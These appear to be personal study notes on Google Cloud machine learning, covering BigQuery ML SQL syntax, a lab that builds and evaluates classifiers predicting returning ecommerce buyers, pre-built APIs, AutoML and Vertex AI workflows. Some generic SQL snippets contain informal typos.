+LIKE 'school_ncaa' +ORDER BY weight DESC +``` + + +3. evaluate the model's performance + +```SQL +SELECT * +FROM ML.EVALUATE(MODEL 'bracketology.ncaa.model') +``` + + +4. make batch predictions + +```SQL +CREATE OR REPLACE TABLE 'bracketology.predictions' AS ( + + SELECT * FROM ML.PREDICT(MODEL 'bracketology.ncaa.model'), + + -- prediction for 2018 tournament games (2017 season) + ( + SELECT * FROM 'data.ncaa.2018_tournament_results' + ) +) +``` + + +For supervised models + +1. **label**: + 1. need a field in the training data set titled label or specify which field or fields the labels are using as the `input label columns` in the model options + +2. **features**: + 1. the data columns that are part of the select statement after the create model statement + 2. after a model is trained use the `ml.feature_info`` command to get statistics and metrics about the column for additional analysis + + ```SQL + SELECT * + FROM ML.FEATURE_INFO(MODE 'mydataset.mymodel') + ``` + + +3. **model object**: + 1. an object created in bigquery that resides in the bigquery data set you train many different models which will all be objects stored under the bigquery data set much like the tables and views + 2. model objects can display information for when it was last updated or how many training runs it completed + +4. **model type** + 1. creating a new model is as easy as writing create model choosing a type and passing in a training data set again + 4. `Forecasting` + 1. linear_reg + 2. Numeric value (typically an integer or floating point) + 3. Forecast sales figures for next year given historical sales data. + 4. if you're predicting on a numeric field such as next year's sales, consider `linear regression` for forecasting + 5. `Classification` + 1. logistic_reg + 2. 0 or 1 for binary classification + 3. Classify an email as spam or not spam given the context. + 4. if it's a discrete class like high medium low or spam or not spam, consider using `logistic regression` for classification + + + ```SQL + CREATE OR REPLACE MODEL 'dataset.name'n + OPTIONS ( + model_type = 'linear_reg' + ) AS + ``` + + + +5. **training process** + 1. while the model is running and even after it's complete you can view training progress with ml.training info as mentioned earlier + + ```SQL + SELECT * + FROM ML.TRAINING_INFO(MODE 'mydataset.mymodel') + ``` + +6. **inspect weights** + 1. inspect weights to see what the model learned about the importance of each feature as it relates to the label you're predicting + 2. the importance is indicated by the weight of each feature + + ```SQL + SELECT * + FROM ML.WEIGHT(MODE 'mydataset.mymodel', ()) + ``` + +7. **evaluation** + 1. see how well the model performed against its evaluation data set by using ml.evaluate + + ```SQL + SELECT * + FROM ML.EVALUATE(MODE 'mydataset.mymodel') + ``` + +8. **predictions** + 1. predictions is as simple as writing ml.predict and referencing the model name and prediction data set + + ```SQL + SELECT * + FROM ML.PREDICT(MODE 'mydataset.mymodel', ()) + ``` + +#### example + +![Screenshot 2023-09-27 at 12.14.32](/assets/img/post/Screenshot%202023-09-27%20at%2012.14.32.png) + +Task 1. Explore ecommerce data + +```bash +# open the data-to-insights project in a new browser tab to bring this project into the BigQuery projects panel. +https://console.cloud.google.com/bigquery?p=data-to-insights&d=ecommerce&t=web_analytics&page=table + + +# Question: Out of the total visitors who visited our website, what % made a purchase? +#standardSQL +WITH visitors AS( + SELECT + COUNT(DISTINCT fullVisitorId) AS total_visitors + FROM `data-to-insights.ecommerce.web_analytics` +), +purchasers AS( + SELECT + COUNT(DISTINCT fullVisitorId) AS total_purchasers + FROM `data-to-insights.ecommerce.web_analytics` + WHERE totals.transactions IS NOT NULL +) +SELECT + total_visitors, + total_purchasers, + total_purchasers/total_visitors AS conversion_rate +FROM visitors, purchasers + + +# Question: What are the top 5 selling products? +SELECT + p.v2ProductName, + p.v2ProductCategory, + SUM(p.productQuantity) AS units_sold, + ROUND(SUM(p.localProductRevenue/1000000),2) AS revenue +FROM `data-to-insights.ecommerce.web_analytics`, +UNNEST(hits) AS h, +UNNEST(h.product) AS p +GROUP BY 1, 2 +ORDER BY revenue DESC +LIMIT 5; + + +# Question: How many visitors bought on subsequent visits to the website? +# visitors who bought on a return visit (could have bought on first as well +WITH all_visitor_stats AS ( + SELECT + fullvisitorid, # 741,721 unique visitors + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) +SELECT + COUNT(DISTINCT fullvisitorid) AS total_visitors, + will_buy_on_return_visit +FROM all_visitor_stats +GROUP BY will_buy_on_return_visit +``` + + +Task 2. Select features and create the training dataset + +```sql +SELECT * EXCEPT(fullVisitorId) +FROM + # features + ( + SELECT + fullVisitorId, + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site + FROM `data-to-insights.ecommerce.web_analytics` + WHERE totals.newVisits = 1 + ) + JOIN + ( + SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid + ) + USING (fullVisitorId) +ORDER BY time_on_site DESC +LIMIT 10; +-- The features are bounces and time_on_site. +-- The label is will_buy_on_return_visit. +-- Discussion: will_buy_on_return_visit is not known after the first visit. Again, you're predicting for a subset of users who returned to the website and purchased. Since you don't know the future at prediction time, you cannot say with certainty whether a new visitor comes back and purchases. The value of building a ML model is to get the probability of future purchase based on the data gleaned about their first session. +``` + + +Task 3. Create a BigQuery dataset to store models +- Dataset ID, type ecommerce. + + +Task 4. Select a BigQuery ML model type and specify options +- Note: You cannot feed all of the available data to the model during training since you need to save some unseen data points for model evaluation and testing. To accomplish this, add a WHERE clause condition is being used to filter and train on only the first 9 months of session data in the 12 month dataset. + +```sql +-- create a model and specify model options: +CREATE OR REPLACE MODEL `ecommerce.classification_model` +OPTIONS +( + model_type='logistic_reg', + labels = ['will_buy_on_return_visit'] +) +AS +# standardSQL +SELECT * EXCEPT(fullVisitorId) +FROM + # features + ( + SELECT + fullVisitorId, + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site + FROM `data-to-insights.ecommerce.web_analytics` + WHERE + totals.newVisits = 1 + AND + date BETWEEN '20160801' AND '20170430' + ) # train on first 9 months + JOIN + ( + SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid + ) + USING (fullVisitorId) +; +``` + +Task 5. Evaluate classification model performance +- In BigQuery ML, `roc_auc` is simply a queryable field when evaluating the trained ML model. + + +```sql +SELECT + roc_auc, + CASE + WHEN roc_auc > .9 THEN 'good' + WHEN roc_auc > .8 THEN 'fair' + WHEN roc_auc > .7 THEN 'not great' + ELSE 'poor' END AS model_quality + +-- evaluate how well the model performs by running this query using `ML.EVALUATE` +FROM ML.EVALUATE(MODEL ecommerce.classification_model, +( + SELECT * EXCEPT(fullVisitorId) + FROM + # features + ( + SELECT + fullVisitorId, + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site + FROM `data-to-insights.ecommerce.web_analytics` + WHERE + totals.newVisits = 1 + AND date BETWEEN '20170501' AND '20170630' + ) # eval on 2 months + JOIN + ( + SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid) + USING (fullVisitorId) + ) +); +``` + + +Task 6. Improve model performance with feature engineering +- Add some new features and create a second machine learning model called classification_model_2: +- How far the visitor got in the checkout process on their first visit +- Where the visitor came from (traffic source: organic search, referring site etc.) +- Device category (mobile, tablet, desktop) +- Geographic information (country) + +```sql +CREATE OR REPLACE MODEL `ecommerce.classification_model_2` +OPTIONS( + model_type='logistic_reg', + labels = ['will_buy_on_return_visit'] +) AS +WITH all_visitor_stats AS ( + SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) +# add in new features +SELECT * EXCEPT(unique_session_id) +FROM ( + SELECT + CONCAT(fullvisitorid, CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE 1=1 + # only predict for new visits + AND totals.newVisits = 1 + AND date BETWEEN '20160801' AND '20170430' # train 9 months + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country +); +``` + +- Evaluate this new model to see if there is better predictive power by running the below query: + +```sql +#standardSQL +SELECT + roc_auc, + CASE + WHEN roc_auc > .9 THEN 'good' + WHEN roc_auc > .8 THEN 'fair' + WHEN roc_auc > .7 THEN 'not great' + ELSE 'poor' END AS model_quality +FROM + ML.EVALUATE(MODEL ecommerce.classification_model_2, ( +WITH all_visitor_stats AS ( +SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) +# add in new features +SELECT * EXCEPT(unique_session_id) +FROM ( + SELECT + CONCAT(fullvisitorid, CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE 1=1 + # only predict for new visits + AND totals.newVisits = 1 + AND date BETWEEN '20170501' AND '20170630' # eval 2 months + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country +) +)); +``` + + +Task 7. Predict which new visitors will come back and purchase +- The predictions are made in the last 1 month (out of 12 months) of the dataset. +- the model will now output the predictions it has for those July 2017 ecommerce sessions. You can see three newly added fields: + - `predicted_will_buy_on_return_visit`: whether the model thinks the visitor will buy later (1 = yes) + - `predicted_will_buy_on_return_visit_probs.label`: the binary classifier for yes / no + - `predicted_will_buy_on_return_visit_probs.prob`: the confidence the model has in it's prediction (1 = 100%) + + + +```sql +SELECT +* +FROM + ml.PREDICT(MODEL `ecommerce.classification_model_2`, + ( +WITH all_visitor_stats AS ( +SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) + SELECT + CONCAT(fullvisitorid, '-',CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE + # only predict for new visits + totals.newVisits = 1 + AND date BETWEEN '20170701' AND '20170801' # test 1 month + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country +) +) +ORDER BY + predicted_will_buy_on_return_visit DESC; +``` + +to create a XGBoost Classifier: + +```sql +CREATE OR REPLACE MODEL `ecommerce.classification_model_3` + OPTIONS + (model_type='BOOSTED_TREE_CLASSIFIER' , l2_reg = 0.1, num_parallel_tree = 8, max_tree_depth = 10, + labels = ['will_buy_on_return_visit']) AS + WITH all_visitor_stats AS ( + SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid + ) + # add in new features + SELECT * EXCEPT(unique_session_id) FROM ( + SELECT + CONCAT(fullvisitorid, CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE 1=1 + # only predict for new visits + AND totals.newVisits = 1 + AND date BETWEEN '20160801' AND '20170430' # train 9 months + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country + ); +``` + + +now evaluate our model and see how we did: + +```sql +#standardSQL +SELECT + roc_auc, + CASE + WHEN roc_auc > .9 THEN 'good' + WHEN roc_auc > .8 THEN 'fair' + WHEN roc_auc > .7 THEN 'not great' + ELSE 'poor' END AS model_quality +FROM + ML.EVALUATE(MODEL ecommerce.classification_model_3, ( +WITH all_visitor_stats AS ( +SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) +# add in new features +SELECT * EXCEPT(unique_session_id) FROM ( + SELECT + CONCAT(fullvisitorid, CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE 1=1 + # only predict for new visits + AND totals.newVisits = 1 + AND date BETWEEN '20170501' AND '20170630' # eval 2 months + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country +) +)); +``` + +finish up by generating predictions with our improved model and see how they compare to those we generated before. By using a Boosted tree classifier model, you can observe a slight improvement of 0.2 in our ROC AUC compared to the previous model. The query below will predict which new visitors will come back and make a purchase: + + +```sql +SELECT +* +FROM + ml.PREDICT(MODEL `ecommerce.classification_model_3`, + ( +WITH all_visitor_stats AS ( +SELECT + fullvisitorid, + IF(COUNTIF(totals.transactions > 0 AND totals.newVisits IS NULL) > 0, 1, 0) AS will_buy_on_return_visit + FROM `data-to-insights.ecommerce.web_analytics` + GROUP BY fullvisitorid +) + SELECT + CONCAT(fullvisitorid, '-',CAST(visitId AS STRING)) AS unique_session_id, + # labels + will_buy_on_return_visit, + MAX(CAST(h.eCommerceAction.action_type AS INT64)) AS latest_ecommerce_progress, + # behavior on the site + IFNULL(totals.bounces, 0) AS bounces, + IFNULL(totals.timeOnSite, 0) AS time_on_site, + totals.pageviews, + # where the visitor came from + trafficSource.source, + trafficSource.medium, + channelGrouping, + # mobile or desktop + device.deviceCategory, + # geographic + IFNULL(geoNetwork.country, "") AS country + FROM `data-to-insights.ecommerce.web_analytics`, + UNNEST(hits) AS h + JOIN all_visitor_stats USING(fullvisitorid) + WHERE + # only predict for new visits + totals.newVisits = 1 + AND date BETWEEN '20170701' AND '20170801' # test 1 month + GROUP BY + unique_session_id, + will_buy_on_return_visit, + bounces, + time_on_site, + totals.pageviews, + trafficSource.source, + trafficSource.medium, + channelGrouping, + device.deviceCategory, + country +) +) +ORDER BY + predicted_will_buy_on_return_visit DESC; +``` + + +--- + +## Machine Learning on GCP + +GCP offers 4 options for building machine learning models. + +- BigQuery ML. + - a tool for using SQL queries to create and execute machine learning models in BigQuery. + - when have the data in BigQuery and the problems fit the predefined ML models, this could be the choice. + +- Pre-built APIs + - leverage machine-learning models that have already been built and trained by Google + - don't have to build the own machine learning models if you don't have enough training data or sufficient machine learning expertise + +- AutoML + - a no-code solution + - build the own machine learning models on Vertex AI through a point-and-click interface. + +- Vertex AI custom training + - code the very own machine learning environment, the training and the deployment + - gives flexibility and provides full control over the ML pipeline. + + +![Screenshot 2023-09-27 at 15.08.09](/assets/img/post/Screenshot%202023-09-27%20at%2015.08.09.png) + +- Datatype. + - BigQuery ML only supports tabular data, + - while the other three support tabular image, text, and video data. + +- Training data size. + - Pre-built APIs don't require any training data, + - while BigQuery ML, and custom training require a large amount of data. + +- Machine learning and coding expertise, + - pre-built APIs and AutoML are user-friendly with low requirements + - while custom training has the highest requirement and BigQuery ML requires you to understand SQL. + +- Flexibility to tune the hyperparameters. + - you can't tune the hyperparameters with pre-built APIs or AutoML. + - you can experiment with hyperparameters using BigQuery ML and custom training. + +- Time to train the model. + - Pre-built APIs require no time to train a model because they directly use pre-built models from Google. + - The time to train a model for the other three options depends on the specific project. Normally, custom training takes the longest time because it builds the ML model from scratch, unlike AutoML and BigQuery ML. + +![Screenshot 2023-09-27 at 15.08.42](/assets/img/post/Screenshot%202023-09-27%20at%2015.08.42.png) + +Selecting depend on the business needs and ML expertise. +- If the data engineers, data scientists, and data analysts are familiar with SQL and already have the data in BigQuery, BigQuery ML lets you develop SQL-based models. +- If the business users or developers have little ML experience, using pre-built APIs is likely the best choice. Pre-built APIs address common perceptual tasks, such as vision, video, and natural language. They are ready to use without any ML expertise or model development effort. +- If the developers and data scientists want to build custom models with the own training data while spending minimal time coding, then AutoML is the choice. AutoML provides a codeless solution to enable you to focus on business problems instead of the underlying model architecture and ML provisioning. +- If the ML engineers and data scientists want full control of ML workflow, Vertex AI custom training lets you train and serve custom models with code on vertex workbench. We've already explored BigQuery ML, so in the videos that follow, we'll explore the other three options in more detail. + +![Screenshot 2023-09-27 at 15.08.51](/assets/img/post/Screenshot%202023-09-27%20at%2015.08.51.png) + +--- + +### Pre-built APIs + +- Good Machine Learning models require lots of high-quality training data. You should aim for hundreds of thousands of records to train a custom model. +- If you don't have that kind of data, pre-built APIs are a great place to start. +- Pre-built APIs are offered as services. +- act as building blocks to create the application without expense or complexity of creating the own models. +- They save the time and effort of building, curating, and training a new dataset to just jump right ahead to predictions. + +pre-built APIs + +- `Speech-to-Text API`: converts audio to text for data processing. + +- `Text-to-Speech API`: converts text into high quality voice audio. + +- `Cloud Natural Language API` recognizes parts of speech called entities and sentiment. + +- `Cloud Translation API`" converts text from one language to another. + +- `Vision API` + - works with and recognizes content in static images. + +- `Video Intelligence API`: recognizes motion and action in video. + +![Screenshot 2023-09-27 at 21.39.11](/assets/img/post/Screenshot%202023-09-27%20at%2021.39.11.png) + +- Google has already done a lot of work to train these models using Google datasets. + - For example, + - the Vision API is based on Google’s image datasets, + - the Speech-to-Text API is trained on YouTube captions, + - the Translation API is built on Google’s neural machine translation technology. + +--- + +### Gen AI + +![Screenshot 2024-08-07 at 15.46.22](/assets/img/Screenshot%202024-08-07%20at%2015.46.22.png) + +--- + +### Vertex AI + + +![Screenshot 2023-09-24 at 23.11.24](/assets/img/post/Screenshot%202023-09-24%20at%2023.11.24.png) + +![Screenshot 2023-09-24 at 23.12.05](/assets/img/post/Screenshot%202023-09-24%20at%2023.12.05_bmztwve7b.png) + +![Screenshot 2023-09-24 at 23.11.52](/assets/img/post/Screenshot%202023-09-24%20at%2023.11.52_kovi61a36.png) + +![Screenshot 2023-09-24 at 23.12.44](/assets/img/post/Screenshot%202023-09-24%20at%2023.12.44_rcs77spq0.png) + +![Screenshot 2023-09-24 at 23.12.53](/assets/img/post/Screenshot%202023-09-24%20at%2023.12.53_80yhc94g1.png) + +![Screenshot 2023-09-24 at 23.13.06](/assets/img/post/Screenshot%202023-09-24%20at%2023.13.06_7ck3v3dnb.png) + +![Screenshot 2023-09-24 at 23.13.43](/assets/img/post/Screenshot%202023-09-24%20at%2023.13.43_7f9vdz0fk.png) + +![Screenshot 2023-09-24 at 23.14.05](/assets/img/post/Screenshot%202023-09-24%20at%2023.14.05_2myval2rv.png) + +![Screenshot 2023-09-24 at 23.15.02](/assets/img/post/Screenshot%202023-09-24%20at%2023.15.02.png) + +--- + +#### AutoML + +> training and deploying ML models can be extremely time consuming, as need to repeatedly add new data and features, try different models, and tune parameters to achieve the best result. + +AutoML +- short for automated machine learning + +- To solve this problem, when AutoML was first announced in January of 2018, + +- the goal was to automate machine learning pipelines to save data scientists from manual work, such as tuning hyperparameters and comparing against multiple models. + +- machine learning is similar to human learning. + - all starts with gathering the right information. + - For AutoML, 2 technologies are vital. + + - `transfer learning`: + - goal: build a knowledge base in the field. + - like gathering lots of books to create a library. + - a powerful technique that lets people with smaller datasets, or less computational power, achieve state-of-the-art results by `taking advantage of pre-trained models` that have been trained on similar, larger data sets. + - Because the model learns via transfer learning, it `doesn’t have to learn from scratch`, so it can generally reach higher accuracy with much less data and computation time than models that don’t use transfer learning. + + - `neural architecture search`. + - goal: find the optimal model for the relevant project. + - like finding the best book in the library to help you learn what you need to. + - ​​AutoML is powered by the latest machine-learning research, so although a model performs training, the AutoML platform actually trains and evaluates multiple models and compares them to each other. + - This neural architecture search produces an ensemble of ML models and chooses the best one. + + + +Leveraging these technologies has produced a tool that can significantly benefit data scientists. + +- One of the biggest benefits is that it’s a `no-code solution`. + - train high-quality custom machine learning models with minimal effort and requires little machine learning expertise. + - allows data scientists to focus their time on tasks like defining business problems or evaluating and improving model results. + +- Others might find AutoML useful as a tool to quickly `prototype models and explore new datasets` before investing in development. + - using it to identify the best features in a dataset, + + +AutoML supports 4 types of data: +- image, tabular, text, and video. +- For each data type, AutoML solves different types of problems, called **objectives**. + +To get started, +- upload the data into AutoML (from Cloud Storage, BigQuery, or even the local machine). +- inform AutoML of the problems to solve. + - Some problems may sound similar to those mentioned in pre-built APIs. + - pre-built APIs use `pre-built machine learning models`, + - AutoML uses `custom-built models`. In AutoML, you use the own data to train the machine learning model and then apply the trained model to predict the goal. + +- For **image data**: + - use a `classification model` to analyze image data and return a list of content categories that apply to the image. + - For example, + - train a model to classify images as containing a dog or not containing a dog, + - train a model to classify images of dogs by breed. + - use an `object detection model` to analyze the image data and return annotations that consist of a label and bounding box location for each object found in an image. + - For example + - train a model to find the location of the dogs in image data. + +- For **tabular data**: + - use a `regression model` to analyze tabular data and return a numeric value. + - For example + - train a model to estimate a house’s value or rental price based on a set of factors such as location, size of the house, and number of bedrooms. + - use a `classification model` to analyze tabular data and return a list of categories. + - For example + - train a model to classify different types of land into high, median, and low potentials for commercial real estate. + - use `forecasting model` can use multiple rows of time-dependent tabular data from the past to predict a series of numeric values in the future. + - For example + - use the historical plus the economic data to predict what the housing market will look like in the next five years. + +- For **text data**: + - use a `classification model` to analyze text data and return a list of categories that apply to the text found in the data. + - For example + - can classify customer questions and comments to different categories and then redirect them to corresponding departments. + - An `entity extraction model` can be used to inspect text data for known entities referenced in the data and label those entities in the text. + - For example + - label a social media post in terms of predefined entities such as time, location, and topic, etc. This can help with online search, similar to the concept of a hashtag, but created by machine. + - And a `sentiment analysis model` can be used to inspect text data and identify the prevailing emotional opinion within it, especially to determine a writer's comment as positive, negative, or neutral. + +- for **video data**: + - use a `classification model` to analyze video data and return a list of categorized shots and segments. + - For example + - train a model that analyzes video data to identify whether the video is of a soccer, baseball, basketball, or football game + - use an `object tracking` model to analyze video data and return a list of shots and segments where these objects were detected. + - For example + - train a model that analyzes video data from soccer games to identify and track the ball. + - an `action recognition model` can be used to analyze video data and return a list of categorized actions with the moments the actions happened. + - For example + - train a model that analyzes video data to identify the action moments involving a soccer goal, a golf swing, a touchdown, or a high five. + +--- + +#### Custom training + +Vertex AI Workbench +- to code the machine learning model, building a custom training solution with Vertex AI Workbench. + +- Workbench is a single development environment for the entire data science workflow from exploring, to training and then deploying a machine learning model with code. +- Before any coding begins, you need to determine what environment you want, the ML training code to use. + +pre-built container vs custom container +- **pre built container** + - if the ML training needs a platform like TensorFlow, Pytorch, Scikit-learn or XGboost and Python code to work with the platform +- **custom container** + - You define the exact tools, you need to complete the job. + + +--- + +### AI Solution + +![Screenshot 2023-09-27 at 22.18.02](/assets/img/post/Screenshot%202023-09-27%20at%2022.18.02.png) + +![Screenshot 2023-09-27 at 22.17.53](/assets/img/post/Screenshot%202023-09-27%20at%2022.17.53.png) + + + +--- + +## The Machine Learning Workflow with Vertex AI + +Tradition programming vs ML + +![Screenshot 2023-09-27 at 22.20.41](/assets/img/post/Screenshot%202023-09-27%20at%2022.20.41.png) + +![Screenshot 2023-09-27 at 22.21.01](/assets/img/post/Screenshot%202023-09-27%20at%2022.21.01.png) + + +![Screenshot 2023-09-28 at 00.09.40](/assets/img/post/Screenshot%202023-09-28%20at%2000.09.40.png) + +![Screenshot 2023-09-27 at 22.22.15](/assets/img/post/Screenshot%202023-09-27%20at%2022.22.15.png) + + +![Screenshot 2023-09-27 at 22.22.29](/assets/img/post/Screenshot%202023-09-27%20at%2022.22.29.png) + + +![Screenshot 2023-09-27 at 22.22.51](/assets/img/post/Screenshot%202023-09-27%20at%2022.22.51.png) + +![Screenshot 2023-09-27 at 22.23.02](/assets/img/post/Screenshot%202023-09-27%20at%2022.23.02.png) + + +![Screenshot 2023-09-27 at 22.24.06](/assets/img/post/Screenshot%202023-09-27%20at%2022.24.06.png) + + +![Screenshot 2023-09-27 at 22.24.31](/assets/img/post/Screenshot%202023-09-27%20at%2022.24.31.png) + + + + +### Data preparation + +The first stage of the AutoML workflow is **data preparation**. + +- upload data + - provide a meaningful name for the data + - select the data type and objective. + - AutoML allows four types of data: image, tabular, text, and video. + + - add labels to the data + - A label is a training target. + - if you want a model to distinguish a cat from a dog, you must first provide sample images that are tagged or labeled either cat or dog. + - A label can be manually added, or it can be added by using Google’s paid label service via the Vertex console. + - upload the data. Data can be uploaded from a local source, BigQuery, or Cloud Storage. + +![Screenshot 2023-09-27 at 22.27.16](/assets/img/post/Screenshot%202023-09-27%20at%2022.27.16.png) + +![Screenshot 2023-09-27 at 22.27.09](/assets/img/post/Screenshot%202023-09-27%20at%2022.27.09.png) + + +- prepare the data for model training with feature engineering. + + - the data must be processed before the model starts training. + - A feature, refers to `a factor that contributes to the prediction`. + - It’s an independent variable in statistics or a column in a table. + - Preparing features can be both challenging and tedious. + - Vertex AI has a function called Feature Store. + - a centralized repository to organize, store, and serve machine learning features. It aggregates all the different features from different sources and updates them to make them available from a central repository. Then, when engineers need to model something, they can use the features available in the Feature Store dictionary to build a dataset. Vertex AI automates the feature aggregation to scale the process. + +![Screenshot 2023-09-27 at 22.28.50](/assets/img/post/Screenshot%202023-09-27%20at%2022.28.50.png) + +--- + +### Model training + +> - **model training**, which would be like cooking the recipe, +> - **model evaluation**, which is when we taste how good the meal is. This process might be iterative. +> +![Screenshot 2024-08-07 at 15.49.41](/assets/img/Screenshot%202024-08-07%20at%2015.49.41.png) + +![Screenshot 2024-08-07 at 15.49.58](/assets/img/Screenshot%202024-08-07%20at%2015.49.58.png) + +#### artificial intelligence vs machine learning + +- **Artificial intelligence**: an umbrella term that includes anything related to computers mimicking human intelligence. + - For example, in an online word processor, robots performing human actions all the way down to spell check. + +- **Machine learning**: + - a subset of AI that mainly refers to supervised and unsupervised learning. You might also hear the term deep learning, or deep neural networks. It’s a subset of machine learning that adds layers in between input data and output results to make a machine learn at more depth. + + +![Screenshot 2023-09-27 at 22.42.30](/assets/img/post/Screenshot%202023-09-27%20at%2022.42.30.png) + + +#### supervised vs unsupervised learning + +> supervised learning provides each data point with a label, or an answer, while unsupervised does not. + +- Supervised learning + - task-driven and identifies a goal. + - 2 major types of supervised learning: + - `classification model`, which predicts a categorical variable, like using an image to tell the difference between a cat and a dog. + - `regression model`, which predicts a continuous number, like using past sales of an item to predict a future trend. + +- Unsupervised learning + - data-driven and identifies a pattern. + - 3 major types of unsupervised learning: + - `clustering`, which groups together data points with similar characteristics and assigns them to "clusters," like using customer demographics to determine customer segmentation. + - `association`, which identifies underlying relationships, like a correlation between two products to place them closer together in a grocery store for a promotion. + - `dimensionality reduction`, which reduces the number of dimensions, or features, in a dataset to improve the efficiency of a model. For example, combining customer characteristics like age, driving violation history, or car type, to create an insurance quote. If too many dimensions are included, it can consume too many compute resources, which might make the model inefficient. + +![Screenshot 2023-09-27 at 22.35.09](/assets/img/post/Screenshot%202023-09-27%20at%2022.35.09.png) + + +#### four machine learning options + +- AutoML and pre-built APIs: don’t need to specify a machine learning model. Instead, define the objective, such as text translation or image detection. Then on the backend, Google will select the best model to meet the business goal. + +- BigQuery ML and custom training: need to specify which model to train the data on and assign something called `hyperparameters` (user-defined knobs in a machine that helps guide the machine learning process). + - For example, one parameter is a learning rate, which is how fast you want the machine to learn With AutoML, you 